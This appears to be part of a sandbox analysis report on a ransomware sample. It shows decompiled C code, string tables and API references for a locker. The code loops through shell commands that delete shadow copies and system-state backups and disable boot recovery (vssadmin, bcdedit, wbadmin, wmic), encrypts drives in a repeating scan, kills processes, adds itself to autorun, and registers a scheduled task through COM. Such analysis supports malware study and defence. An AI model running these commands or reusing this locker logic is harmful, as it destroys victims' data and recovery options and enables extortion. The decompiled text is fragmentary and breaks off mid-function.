									E00ABF660(_t366,  &_v9, _t528, _t529, _t334);
									E00AA8170();
									_t517 = _v240 + 0x18;
									__eflags = _t517;
									_v240 = _t517;
								}
								_v236 = 0;
								while(1) {
									__eflags = _v236 - 3;
									if(_v236 >= 3) {
										break;
									}
									_v296 = _v236 + 1;
									E00AA24D0(E00AA24D0(E00AA24D0(E00AA1100( &_v254), L"[LOCKER] Remove backups "),  &_v296), "\n");
									E00AA8340(L"vssadmin.exe Delete Shadows /All /Quiet");
									E00ABF580(_t366,  &_v9, _t528, _t529,  &_v584);
									E00AA8170();
									E00AA8340(L"bcdedit.exe /set {default} recoveryenabled No");
									E00ABF580(_t366,  &_v9, _t528, _t529,  &_v440);
									E00AA8170();
									E00AA8340(L"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures");
									E00ABF580(_t366,  &_v9, _t528, _t529,  &_v464);
									E00AA8170();
									E00AA8340(L"wbadmin DELETE SYSTEMSTATEBACKUP");
									E00ABF580(_t366,  &_v9, _t528, _t529,  &_v488);
									E00AA8170();
									E00AA8340(L"wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest");
									E00ABF580(_t366,  &_v9, _t528, _t529,  &_v512);
									E00AA8170();
									E00AA8340(L"wmic.exe SHADOWCOPY /nointeractive");
									_t517 =  &_v536;
									E00ABF580(_t366,  &_v9, _t528, _t529,  &_v536);
									E00AA8170();
									_t259 = _v236 + 1;
									__eflags = _t259;
									_v236 = _t259;
								}
								E00ABF630(_t259,  &_v9);
								E00AA5CD0(1);
								_t538 = _t537 + 4;
								E00AA1100( &_v12);
								E00AA1480( &_v76, 0x18);
								E00AB9DA0( &_v76);
								E00AA1100( &_v11);
								E00AA1480( &_v28, 0xc);
								E00AA6CF0();
								E00AA24D0(E00AA1100( &_v255), L"[LOCKER] Run scanning...\n\n");
								while(1) {
									E00AA1480( &_v40, 0xc);
									E00AB76C0(_t366,  &_v12, _t528, _t529,  &_v40);
									_v264 =  &_v40;
									_v232 = E00AA6C00(_v264);
									_v324 = E00AA6BE0(_v264);
									while(1) {
										__eflags = _v232 - _v324;
										if(__eflags == 0) {
											break;
										}
										E00AA8400( &_v144, _v232);
										E00AA24D0(E00AA24D0(E00AA24D0(E00AA1100( &_v256), L"[LOCKER] Lock drive "),  &_v144), "\n");
										_t301 = E00AA1700( &_v28);
										_t302 = E00AA1700( &_v76);
										_t303 = E00AA1700( &_v120);
										E00AA5D90(_t366, _t528, _t529, E00AA1700( &_v144), _t303, _t302, _t301);
										_t538 = _t538 + 0x20;
										E00AA8170();
										_t517 = _v232 + 0x18;
										__eflags = _t517;
										_v232 = _t517;
									}
									E00AA1480( &_v52, 0xc);
									E00ABE170(_t366,  &_v11, _t517, _t528, _t529, __eflags,  &_v52, 0x64);
									_t517 =  &_v52;
									_v268 =  &_v52;
									_v228 = E00AA6C00(_v268);
									_v328 = E00AA6BE0(_v268);
									while(1) {
										__eflags = _v228 - _v328;
										if(_v228 == _v328) {
											break;
										}
										E00AA8400( &_v192, _v228);
										_t286 = E00AA1700( &_v28);
										_t287 = E00AA1700( &_v76);
										_t517 =  &_v120;
										_t288 = E00AA1700( &_v120);
										E00AA5D90(_t366, _t528, _t529, E00AA1700( &_v192), _t288, _t287, _t286);
										_t538 = _t538 + 0x20;
										E00AA8170();
										_t294 = _v228 + 0x18;
										__eflags = _t294;
										_v228 = _t294;
									}
									E00AA24D0(E00AA1100( &_v257), L"[LOCKER] Sleep at 60 seconds...\n\n");
									Sleep(0xea60);
									E00AA7D70();
									E00AA7D70();
								}
							}
							E00AA28D0(E00AA24D0(E00AA1100( &_v249), L"[LOCKER] Put URL to HTML-code is failed!\n"));
							_v308 = 0;
							E00AA16E0(E00AB6000( &_v120),  &_v10);
						} else {
							E00AA28D0(E00AA24D0(E00AA1100( &_v247), L"[LOCKER] Put ID to HTML-code is failed!\n"));
							_v304 = 0;
							E00AA16E0(E00AB6000( &_v120),  &_v10);
						}
					} else {
						E00AA28D0(E00AA24D0(E00AA1100( &_v245), L"[LOCKER] Init cryptor is failed\n"));
						_v300 = 0;
						E00AA16E0(E00AB6000( &_v120),  &_v10);
					}
				} else {
					E00AA24D0(E00AA1100( &_v242), L"[LOCKER] Is already running\n");
				}
				return E00ADA4E2(_t366, _v8 ^ _t530, _t517, _t528, _t529);
			}

0x00aa6130
0x00aa6130
0x00aa6130
0x00aa6139
0x00aa6140
0x00aa614a
0x00aa6164
0x00aa616b
0x00aa616c
0x00aa617a
0x00aa6185
0x00aa619c
0x00aa61ac
0x00aa61b8
0x00aa61bd
0x00aa61c0
0x00aa61cc
0x00aa61da
0x00aa61fd
0x00aa6205
0x00aa620d
0x00aa621d
0x00aa621f
0x00aa622d
0x00aa6221
0x00aa6221
0x00aa6221
0x00aa623d
0x00aa6257
0x00aa625c
0x00aa6264
0x00aa627b
0x00aa628b
0x00aa6290
0x00aa6297
0x00aa629f
0x00aa62a1
0x00aa62f6
0x00aa6306
0x00aa631b
0x00aa6320
0x00aa6330
0x00aa6338
0x00aa633a
0x00aa6348
0x00aa633c
0x00aa633c
0x00aa633c
0x00aa6358
0x00aa6364
0x00aa636f
0x00aa6374
0x00aa637b
0x00aa637d
0x00aa63d2
0x00aa63e2
0x00aa63f2
0x00aa63f7
0x00aa6407
0x00aa640f
0x00aa6411
0x00aa641f
0x00aa6413
0x00aa6413
0x00aa6413
0x00aa6429
0x00aa642f
0x00aa643b
0x00aa6447
0x00aa6449
0x00aa648f
0x00aa64a6
0x00aa64b6
0x00aa64d0
0x00aa64db
0x00aa64f2
0x00aa64fa
0x00aa6502
0x00aa6519
0x00aa6521
0x00aa6530
0x00aa6541
0x00aa6552
0x00aa6569
0x00aa656f
0x00aa6575
0x00000000
0x00000000
0x00aa6584
0x00aa6595
0x00aa659a
0x00aa65a1
0x00aa65a9
0x00aa65ab
0x00aa65b4
0x00aa65b9
0x00aa65c0
0x00aa65c0
0x00aa65cb
0x00aa6560
0x00aa6560
0x00aa6563
0x00aa6563
0x00aa65e4
0x00aa65f3
0x00aa6604
0x00aa6615
0x00aa662c
0x00aa662c
0x00aa6632
0x00aa6638
0x00000000
0x00000000
0x00aa6647
0x00aa6653
0x00aa6658
0x00aa665f
0x00aa666a
0x00aa6623
0x00aa6623
0x00aa6626
0x00aa6626
0x00aa6671
0x00aa668c
0x00aa668c
0x00aa6693
0x00000000
0x00000000
0x00aa66a2
0x00aa66d4
0x00aa66e4
0x00aa66f3
0x00aa66fe
0x00aa670e
0x00aa671d
0x00aa6728
0x00aa6738
0x00aa6747
0x00aa6752
0x00aa6762
0x00aa6771
0x00aa677c
0x00aa678c
0x00aa679b
0x00aa67a6
0x00aa67b6
0x00aa67bb
0x00aa67c5
0x00aa67d0
0x00aa6683
0x00aa6683
0x00aa6686
0x00aa6686
0x00aa67dd
0x00aa67e4
0x00aa67e9
0x00aa67ef
0x00aa67f9
0x00aa6801
0x00aa6809
0x00aa6813
0x00aa681b
0x00aa6832
0x00aa6837
0x00aa683c
0x00aa6848
0x00aa6850
0x00aa6861
0x00aa6872
0x00aa6889
0x00aa688f
0x00aa6895
0x00000000
0x00000000
0x00aa68a8
0x00aa68d9
0x00aa68e2
0x00aa68ef
0x00aa68fc
0x00aa6915
0x00aa691a
0x00aa6923
0x00aa6880
0x00aa6880
0x00aa6883
0x00aa6883
0x00aa6932
0x00aa6940
0x00aa6945
0x00aa6948
0x00aa6959
0x00aa696a
0x00aa6981
0x00aa6987
0x00aa698d
0x00000000
0x00000000
0x00aa699c
0x00aa69a5
0x00aa69b2
0x00aa69bb
0x00aa69bf
0x00aa69d8
0x00aa69dd
0x00aa69e6
0x00aa6978
0x00aa6978
0x00aa697b
0x00aa697b
0x00aa69ff
0x00aa6a09
0x00aa6a12
0x00aa6a1a
0x00aa6a1a
0x00aa6837
0x00aa6462
0x00aa6467
0x00aa647c
0x00aa637f
0x00aa6396
0x00aa639b
0x00aa63b0
0x00aa63b5
0x00aa62a3
0x00aa62ba
0x00aa62bf
0x00aa62d4
0x00aa62d9
0x00aa61dc
0x00aa61ee
0x00aa61f3
0x00aa6a89

APIs

std::locale::global.LIBCPMT ref: 00AA616C

Part of subcall function 00AC6C67: __EH_prolog3.LIBCMT ref: 00AC6C6E
Part of subcall function 00AC6C67: std::locale::_Init.LIBCPMT ref: 00AC6C7F
Part of subcall function 00AC6C67: std::_Lockit::_Lockit.LIBCPMT ref: 00AC6C95
Part of subcall function 00AC6C67: std::locale::_Setgloballocale.LIBCPMT ref: 00AC6CE4
Part of subcall function 00AC6C67: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC6D44

Part of subcall function 00AA5AE0: std::ios_base::good.LIBCPMTD ref: 00AA5AE6
Part of subcall function 00AA5AE0: OpenMutexW.KERNEL32(001F0001,00000000,00000000), ref: 00AA5B02
Part of subcall function 00AA5AE0: CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 00AA5B19

Strings

[LOCKER] Init cryptor, xrefs: 00AA6269
{{IDENTIFIER}}, xrefs: 00AA62FB
[LOCKER] Kill processes, xrefs: 00AA65D2
[LOCKER] Init cryptor is failed, xrefs: 00AA62A3
[LOCKER] Put ID to HTML-code, xrefs: 00AA62E4
[LOCKER] Remove backups , xrefs: 00AA66B4
{{URL}}, xrefs: 00AA63D7
[LOCKER] Sleep at 60 seconds..., xrefs: 00AA69ED
[LOCKER] Put URL to HTML-code, xrefs: 00AA63C0
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures, xrefs: 00AA672D
wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest, xrefs: 00AA6781
[LOCKER] Is running, xrefs: 00AA618A
vssadmin.exe Delete Shadows /All /Quiet, xrefs: 00AA66D9
[LOCKER] Stop and delete services, xrefs: 00AA6507
[LOCKER] Put ID to HTML-code is failed!, xrefs: 00AA637F
bcdedit.exe /set {default} recoveryenabled No, xrefs: 00AA6703
[LOCKER] Add to autorun, xrefs: 00AA6494
[LOCKER] Put URL to HTML-code is failed!, xrefs: 00AA644B
wmic.exe SHADOWCOPY /nointeractive, xrefs: 00AA67AB
wbadmin DELETE SYSTEMSTATEBACKUP, xrefs: 00AA6757
[LOCKER] Scan hidden devices, xrefs: 00AA64E0
svhost, xrefs: 00AA64AB
[LOCKER] Lock drive , xrefs: 00AA68B9
{8761ABBD-7F85-42EE-B272-A76179687C63}, xrefs: 00AA61A1
[LOCKER] Run scanning..., xrefs: 00AA6820
[LOCKER] Is already running, xrefs: 00AA61DC

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LockitMutexstd::_std::locale::_$CreateH_prolog3InitLockit::_Lockit::~_OpenSetgloballocalestd::ios_base::goodstd::locale::global
String ID: [LOCKER] Add to autorun$[LOCKER] Init cryptor$[LOCKER] Init cryptor is failed$[LOCKER] Is already running$[LOCKER] Is running$[LOCKER] Kill processes$[LOCKER] Lock drive $[LOCKER] Put ID to HTML-code$[LOCKER] Put ID to HTML-code is failed!$[LOCKER] Put URL to HTML-code$[LOCKER] Put URL to HTML-code is failed!$[LOCKER] Remove backups $[LOCKER] Run scanning...$[LOCKER] Scan hidden devices$[LOCKER] Sleep at 60 seconds...$[LOCKER] Stop and delete services$bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures$bcdedit.exe /set {default} recoveryenabled No$svhost$vssadmin.exe Delete Shadows /All /Quiet$wbadmin DELETE SYSTEMSTATEBACKUP$wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest$wmic.exe SHADOWCOPY /nointeractive${8761ABBD-7F85-42EE-B272-A76179687C63}${{IDENTIFIER}}${{URL}}
API String ID: 3796957526-1698674724
Opcode ID: 63baed1e9acd3840e9da4c7078648fb7a44f5c052549d3b8c602d373ab364d72
Instruction ID: 5bb2814db159f14ff734ad104bf0b0f0b1d9ec97618fabff4d385646cb5efc2d
Opcode Fuzzy Hash: 63baed1e9acd3840e9da4c7078648fb7a44f5c052549d3b8c602d373ab364d72
Instruction Fuzzy Hash: C5222C71D40128ABCB18EB60DE52BEDB374AF16340F4445E9A10A671D2EF746F88CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC03B0, Relevance: 44.7, APIs: 24, Strings: 1, Instructions: 942
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00AC03B0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				char _v16;
				signed int _v20;
				char _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				signed int* _v96;
				signed int _v100;
				char _v101;
				signed int _v102;
				char _v103;
				signed int _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				void* _v128;
				intOrPtr _v132;
				void* _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				char _v300;
				char _v316;
				char _v332;
				char _v348;
				char _v364;
				char _v380;
				char _v396;
				char _v420;
				char _v444;
				char _v468;
				char _v492;
				void* __ebp;
				signed int _t463;
				signed int _t464;
				signed int _t471;
				signed int _t472;
				intOrPtr* _t473;
				intOrPtr* _t474;
				intOrPtr* _t475;
				intOrPtr* _t476;
				intOrPtr* _t477;
				intOrPtr* _t478;
				intOrPtr* _t479;
				intOrPtr* _t480;
				signed int _t483;
				signed int _t491;
				signed int _t508;
				signed int _t514;
				signed int _t563;
				signed int _t582;
				intOrPtr* _t583;
				intOrPtr* _t585;
				intOrPtr* _t587;
				void* _t638;
				void* _t675;
				void* _t688;
				signed int _t701;
				signed int _t707;
				void* _t715;
				intOrPtr* _t845;
				intOrPtr* _t846;
				intOrPtr* _t847;
				signed int _t1034;
				void* _t1035;
				void* _t1036;
				intOrPtr* _t1037;
				intOrPtr* _t1038;
				intOrPtr* _t1039;
				intOrPtr* _t1040;
				void* _t1043;
				intOrPtr* _t1044;
				intOrPtr* _t1045;

				_t1033 = __esi;
				_t1032 = __edi;
				_t929 = __edx;
				_t732 = __ebx;
				_push(0xffffffff);
				_push(E00B12080);
				_push( *[fs:0x0]);
				_t1036 = _t1035 - 0x1dc;
				_t463 =  *0xb42074; // 0x80d348a2
				_t464 = _t463 ^ _t1034;
				_v20 = _t464;
				_push(_t464);
				 *[fs:0x0] =  &_v16;
				_v132 = __ecx;
				if((E00AA7FA0(_a4) & 0x000000ff) == 0 && _a8 != 0) {
					E00AC0FC0(__ebx, _v132, __edi, __esi, __eflags,  &_v44);
					_t471 = E00AA7FA0( &_v44);
					_t929 = _t471 & 0x000000ff;
					__eflags = _t471 & 0x000000ff;
					if((_t471 & 0x000000ff) == 0) {
						__imp__CoInitializeEx(0, 0);
						__eflags = _t471;
						if(_t471 >= 0) {
							__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 6, 3, 0, 0, 0);
							__eflags = _t471;
							if(_t471 >= 0) {
								_v56 = 0;
								_t472 =  &_v56;
								__imp__CoCreateInstance(0xb192ac, 0, 1, 0xb1929c, _t472);
								__eflags = _t472;
								if(_t472 >= 0) {
									_t473 = E00AC02B0( &_v348);
									_v188 =  *_t473;
									_v184 =  *((intOrPtr*)(_t473 + 4));
									_v180 =  *((intOrPtr*)(_t473 + 8));
									_v176 =  *((intOrPtr*)(_t473 + 0xc));
									_t474 = E00AC02B0( &_v332);
									_v204 =  *_t474;
									_v200 =  *((intOrPtr*)(_t474 + 4));
									_v196 =  *((intOrPtr*)(_t474 + 8));
									_v192 =  *((intOrPtr*)(_t474 + 0xc));
									_t475 = E00AC02B0( &_v316);
									_v220 =  *_t475;
									_v216 =  *((intOrPtr*)(_t475 + 4));
									_v212 =  *((intOrPtr*)(_t475 + 8));
									_v208 =  *((intOrPtr*)(_t475 + 0xc));
									_t476 = E00AC02B0( &_v300);
									_v236 =  *_t476;
									_v232 =  *((intOrPtr*)(_t476 + 4));
									_v228 =  *((intOrPtr*)(_t476 + 8));
									_v224 =  *((intOrPtr*)(_t476 + 0xc));
									_t1037 = _t1036 - 0x10;
									_t477 = _t1037;
									 *_t477 = _v188;
									 *((intOrPtr*)(_t477 + 4)) = _v184;
									 *((intOrPtr*)(_t477 + 8)) = _v180;
									 *((intOrPtr*)(_t477 + 0xc)) = _v176;
									_t1038 = _t1037 - 0x10;
									_t478 = _t1038;
									 *_t478 = _v204;
									 *((intOrPtr*)(_t478 + 4)) = _v200;
									 *((intOrPtr*)(_t478 + 8)) = _v196;
									 *((intOrPtr*)(_t478 + 0xc)) = _v192;
									_t1039 = _t1038 - 0x10;
									_t479 = _t1039;
									 *_t479 = _v220;
									 *((intOrPtr*)(_t479 + 4)) = _v216;
									 *((intOrPtr*)(_t479 + 8)) = _v212;
									 *((intOrPtr*)(_t479 + 0xc)) = _v208;
									_t1040 = _t1039 - 0x10;
									_t480 = _t1040;
									 *_t480 = _v236;
									 *((intOrPtr*)(_t480 + 4)) = _v232;
									 *((intOrPtr*)(_t480 + 8)) = _v228;
									 *((intOrPtr*)(_t480 + 0xc)) = _v224;
									_t483 =  *((intOrPtr*)( *((intOrPtr*)( *_v56 + 0x28))))(_v56);
									__eflags = _t483;
									if(_t483 >= 0) {
										_v136 = 0;
									} else {
										_v136 = 1;
									}
									_v102 = _v136;
									E00AC0390( &_v300);
									E00AC0390( &_v316);
									E00AC0390( &_v332);
									E00AC0390( &_v348);
									__eflags = _v102 & 0x000000ff;
									if((_v102 & 0x000000ff) == 0) {
										_v52 = 0;
										_t491 =  *((intOrPtr*)( *((intOrPtr*)( *_v56 + 0x1c))))(_v56, E00AC00C0(E00AC0000( &_v140, "\\")),  &_v52);
										__eflags = _t491;
										if(_t491 >= 0) {
											_v128 = 0;
										} else {
											_v128 = 1;
										}
										_v104 = _v128;
										E00AC00A0( &_v140);
										__eflags = _v104 & 0x000000ff;
										if((_v104 & 0x000000ff) == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 0x3c))))(_v52, E00AC00C0(E00AC0000( &_v144, E00AA8040())), 0);
											E00AC00A0( &_v144);
											_v48 = 0;
											_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v56 + 0x24))))(_v56, 0,  &_v48);
											 *((intOrPtr*)( *((intOrPtr*)( *_v56 + 8))))(_v56);
											__eflags = _v100;
											if(_v100 >= 0) {
												_v88 = 0;
												_t508 =  *((intOrPtr*)( *((intOrPtr*)( *_v48 + 0x1c))))(_v48,  &_v88);
												__eflags = _t508;
												if(_t508 >= 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_v88 + 8))))(_v88);
													__eflags = _v100;
													if(_v100 >= 0) {
														_v64 = 0;
														_t514 =  *((intOrPtr*)( *((intOrPtr*)( *_v48 + 0x24))))(_v48,  &_v64);
														__eflags = _t514;
														if(_t514 >= 0) {
															_v68 = 0;
															_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v64 + 0x28))))(_v64, 2,  &_v68);
															 *((intOrPtr*)( *((intOrPtr*)( *_v64 + 8))))(_v64);
															__eflags = _v100;
															if(_v100 >= 0) {
																_v60 = 0;
																_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v68))))(_v68, 0xb1928c,  &_v60);
																 *((intOrPtr*)( *((intOrPtr*)( *_v68 + 8))))(_v68);
																__eflags = _v100;
																if(_v100 >= 0) {
																	 *((intOrPtr*)( *((intOrPtr*)( *_v60 + 0x24))))(_v60, E00AC00C0(E00AC0000( &_v148, L"Trigger1")));
																	E00AC00A0( &_v148);
																	E00AC1290(_t732, _v132, _t1032, _t1033,  &_v420, 1);
																	 *((intOrPtr*)( *((intOrPtr*)( *_v60 + 0x3c))))(_v60, E00AC00C0(E00AC0000( &_v152, E00AA8040())));
																	E00AC00A0( &_v152);
																	E00AA8170();
																	_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v60 + 0x54))))(_v60, 1);
																	__eflags = _v100;
																	if(_v100 >= 0) {
																		_v72 = 0;
																		_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v60 + 0x28))))(_v60,  &_v72);
																		_t807 = _v60;
																		 *((intOrPtr*)( *((intOrPtr*)( *_v60 + 8))))(_v60);
																		__eflags = _v100;
																		if(__eflags >= 0) {
																			E00AB8BF0(_t732,  &_v468, _t1032, _t1033, __eflags,  &_v444, E00AC13F0(_t732,  &_v468, _t1032, _t1033, __eflags,  &_v468, L"PT", E00ABE140(_t807, __eflags,  &_v492, _a8)), "M");
																			_t1043 = _t1040 + 0x20;
																			_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v72 + 0x20))))(_v72, E00AC00C0(E00AC0000( &_v156, E00AA8040())));
																			E00AC00A0( &_v156);
																			E00AA8170();
																			E00AA8170();
																			E00AA8170();
																			 *((intOrPtr*)( *((intOrPtr*)( *_v72 + 8))))(_v72);
																			__eflags = _v100;
																			if(_v100 >= 0) {
																				_v76 = 0;
																				_t563 =  *((intOrPtr*)( *((intOrPtr*)( *_v48 + 0x44))))(_v48,  &_v76);
																				__eflags = _t563;
																				if(_t563 >= 0) {
																					_v80 = 0;
																					_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v76 + 0x30))))(_v76, 0,  &_v80);
																					 *((intOrPtr*)( *((intOrPtr*)( *_v76 + 8))))(_v76);
																					__eflags = _v100;
																					if(_v100 >= 0) {
																						_v84 = 0;
																						_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v80))))(_v80, 0xb192bc,  &_v84);
																						 *((intOrPtr*)( *((intOrPtr*)( *_v80 + 8))))(_v80);
																						__eflags = _v100;
																						if(_v100 >= 0) {
																							_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v84 + 0x2c))))(_v84, E00AC00C0(E00AC0000( &_v160, E00AA8040())));
																							E00AC00A0( &_v160);
																							__eflags = _v100;
																							if(_v100 >= 0) {
																								_t582 =  *((intOrPtr*)( *((intOrPtr*)( *_v48 + 0x2c))))(_v48,  &_v92);
																								__eflags = _t582;
																								if(_t582 >= 0) {
																									 *((intOrPtr*)( *((intOrPtr*)( *_v92 + 0x98))))(_v92, 0xffffffff);
																									 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 0x30))))(_v48, _v92);
																								}
																								_v96 = 0;
																								_t583 = E00AC0340( &_v396, 0xb372d4);
																								_v252 =  *_t583;
																								_v248 =  *((intOrPtr*)(_t583 + 4));
																								_v244 =  *((intOrPtr*)(_t583 + 8));
																								_v240 =  *((intOrPtr*)(_t583 + 0xc));
																								_t585 = E00AC02D0( &_v380, E00ABFF60( &_v172, L""));
																								_v268 =  *_t585;
																								_v264 =  *((intOrPtr*)(_t585 + 4));
																								_v260 =  *((intOrPtr*)(_t585 + 8));
																								_v256 =  *((intOrPtr*)(_t585 + 0xc));
																								_t587 = E00AC02D0( &_v364, E00ABFF60( &_v168, 0xb249a6));
																								_v284 =  *_t587;
																								_v280 =  *((intOrPtr*)(_t587 + 4));
																								_v276 =  *((intOrPtr*)(_t587 + 8));
																								_v272 =  *((intOrPtr*)(_t587 + 0xc));
																								_t1044 = _t1043 - 0x10;
																								_t845 = _t1044;
																								 *_t845 = _v252;
																								 *((intOrPtr*)(_t845 + 4)) = _v248;
																								 *((intOrPtr*)(_t845 + 8)) = _v244;
																								 *((intOrPtr*)(_t845 + 0xc)) = _v240;
																								_t1045 = _t1044 - 0x10;
																								_t846 = _t1045;
																								 *_t846 = _v268;
																								 *((intOrPtr*)(_t846 + 4)) = _v264;
																								 *((intOrPtr*)(_t846 + 8)) = _v260;
																								 *((intOrPtr*)(_t846 + 0xc)) = _v256;
																								_t847 = _t1045 - 0x10;
																								 *_t847 = _v284;
																								 *((intOrPtr*)(_t847 + 4)) = _v280;
																								 *((intOrPtr*)(_t847 + 8)) = _v276;
																								 *((intOrPtr*)(_t847 + 0xc)) = _v272;
																								_v100 =  *((intOrPtr*)( *((intOrPtr*)( *_v52 + 0x44))))(_v52, E00AC00C0(E00AC0000( &_v164, E00AA8040())), _v48, 6, 0,  &_v96);
																								E00AC00A0( &_v164);
																								E00AC0390( &_v364);
																								E00AC00A0( &_v168);
																								E00AC0390( &_v380);
																								E00AC00A0( &_v172);
																								E00AC0390( &_v396);
																								__eflags = _v100;
																								if(_v100 >= 0) {
																									 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																									 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																									_t929 =  *_v96;
																									 *((intOrPtr*)( *((intOrPtr*)( *_v96 + 8))))(_v96);
																									__imp__CoUninitialize();
																									_v119 = 1;
																									E00AA8170();
																								} else {
																									 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																									_t929 =  *_v48;
																									 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																									__imp__CoUninitialize();
																									_v118 = 0;
																									E00AA8170();
																								}
																							} else {
																								 *((intOrPtr*)( *((intOrPtr*)( *_v84 + 8))))(_v84);
																								 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																								_t929 = _v48;
																								 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																								__imp__CoUninitialize();
																								_v117 = 0;
																								E00AA8170();
																							}
																						} else {
																							 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																							_t638 =  *_v48;
																							_t929 =  *(_t638 + 8);
																							 *( *(_t638 + 8))(_v48);
																							__imp__CoUninitialize();
																							_v116 = 0;
																							E00AA8170();
																						}
																					} else {
																						 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																						_t929 = _v48;
																						 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																						__imp__CoUninitialize();
																						_v115 = 0;
																						E00AA8170();
																					}
																				} else {
																					 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																					_t929 =  *_v48;
																					 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																					__imp__CoUninitialize();
																					_v114 = 0;
																					E00AA8170();
																				}
																			} else {
																				 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																				_t929 = _v48;
																				 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																				__imp__CoUninitialize();
																				_v113 = 0;
																				E00AA8170();
																			}
																		} else {
																			 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																			_t929 =  *_v48;
																			 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																			__imp__CoUninitialize();
																			_v112 = 0;
																			E00AA8170();
																		}
																	} else {
																		 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																		 *((intOrPtr*)( *((intOrPtr*)( *_v60 + 8))))(_v60);
																		_t675 =  *_v48;
																		_t929 =  *(_t675 + 8);
																		 *( *(_t675 + 8))(_v48);
																		__imp__CoUninitialize();
																		_v111 = 0;
																		E00AA8170();
																	}
																} else {
																	 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																	_t929 =  *_v48;
																	 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
																	__imp__CoUninitialize();
																	_v110 = 0;
																	E00AA8170();
																}
															} else {
																 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
																_t688 =  *_v48;
																_t929 =  *(_t688 + 8);
																 *( *(_t688 + 8))(_v48);
																__imp__CoUninitialize();
																_v109 = 0;
																E00AA8170();
															}
														} else {
															 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
															_t929 = _v48;
															 *((intOrPtr*)( *((intOrPtr*)( *_v48 + 8))))(_v48);
															__imp__CoUninitialize();
															_v108 = 0;
															E00AA8170();
														}
													} else {
														 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
														_t701 =  *_v48;
														_t929 =  *(_t701 + 8);
														 *( *(_t701 + 8))(_v48);
														__imp__CoUninitialize();
														_v107 = 0;
														E00AA8170();
													}
												} else {
													 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
													_t707 =  *_v48;
													_t929 =  *(_t707 + 8);
